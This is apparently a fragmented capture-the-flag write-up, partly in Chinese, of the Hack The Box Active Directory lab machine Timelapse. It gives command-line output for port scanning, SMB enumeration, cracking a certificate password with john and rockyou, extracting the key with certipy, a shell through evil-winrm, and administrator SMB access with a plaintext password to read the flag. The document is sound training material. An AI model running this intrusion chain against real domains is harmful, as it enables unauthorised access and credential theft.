└─$ sudo nmap -sU 10.10.11.152 --top-ports=200 --min-rate=2000 [sudo] password for fonllge: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 01:35 EST Nmap scan report for 10.10.11.152 Host is up (0.36s latency). Not shown: 196 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap
└─$ sudo nmap -sS 10.10.11.152 -p- --min-rate=2000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 01:34 EST Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 55.94% done; ETC: 01:35 (0:00:43 remaining) Nmap scan report for 10.10.11.152 Host is up (0.28s latency). Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5986/tcp open wsmans 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49690/tcp open unknown
[+] IP: 10.10.11.152:445 Name: 10.10.11.152 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share Shares READ ONLY SYSVOL NO ACCESS Logon server share
└─$ hashcat --example|grep -i pkzip Name................: PKZIP (Compressed) Example.Hash........: $pkzip2$1*1*2*0*e3*1c5*eda7a8de*0*28*8*e3*eda7*...zip2$ [Truncated, use --mach for full length] Name................: PKZIP (Uncompressed) Example.Hash........: $pkzip2$1*1*2*0*1d1*1c5*eda7a8de*0*28*0*1d1*eda...zip2$ [Truncated, use --mach for full length] Name................: PKZIP (Compressed Multi-File) Example.Hash........: $pkzip2$3*1*1*0*8*24*a425*8827*d1730095cd829e24...zip2$ [Truncated, use --mach for full length] Name................: PKZIP (Mixed Multi-File) Example.Hash........: $pkzip2$3*1*1*0*0*24*3e2c*3ef8*0619e9d17ff3f994...zip2$ [Truncated, use --mach for full length] Name................: PKZIP (Mixed Multi-File Checksum-Only) Example.Hash........: $pkzip2$8*1*1*0*8*24*a425*8827*3bd479d541019c2f...zip2$ [Truncated, use --mach for full length] Name................: PKZIP Master Key Name................: PKZIP Master Key (6 byte optimization)
└─$ john -format=pfx pfxhash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x]) Cost 1 (iteration count) is 2000 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thuglegacy (legacyy_dev_auth.pfx) 1g 0:00:00:15 DONE (2024-12-28 10:35) 0.06662g/s 215306p/s 215306c/s 215306C/s thumper1990..thsco04 Use the "--show" option to display all of the cracked passwords reliably Session completed.
得到thuglegacy
这里我当时想pkinit拿nthash
因为当前pfx有密码所以需要解一下生成新的，这里我会用两种方式来做
1.certipy直接转
1 2 3 4
└─$ certipy cert -export -pfx Dev/legacyy_dev_auth.pfx -password "thuglegacy" -out "legacyy_unprotected.pfx" Certipy v4.8.2 - by Oliver Lyak (ly4k)
Enter Import Password: MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag Bag Attributes localKeyID: D0 D2 86 AE 3B 8D FB 77 98 34 AD AB 23 EB 21 E6 6F 7B 7A DE subject=CN=Legacyy issuer=CN=Legacyy -----BEGIN CERTIFICATE----- MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
拿到证书尝试请求pkinit
1 2 3 4 5 6
└─$ certipy auth -pfx new.pfx -dc-ip 10.10.11.152 -domain timelapse.htb -username legacyy Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: legacyy@timelapse.htb [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
└─$ evil-winrm -S -c legacyy.crt -k legacyy_nopasswd.key -i 10.10.11.152 -u legacyy Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\legacyy\Documents> ls
smbclient '\\10.10.11.152\C$' -U administrator%'MXBQ6@J(je.mb[L%e!m1S03&' smb: \Users\trx\desktop\> dir . DR 0 Fri Mar 4 01:45:48 2022 .. DR 0 Fri Mar 4 01:45:48 2022 desktop.ini AHS 282 Fri Mar 4 01:45:48 2022 root.txt AR 34 Sat Dec 28 09:33:46 2024
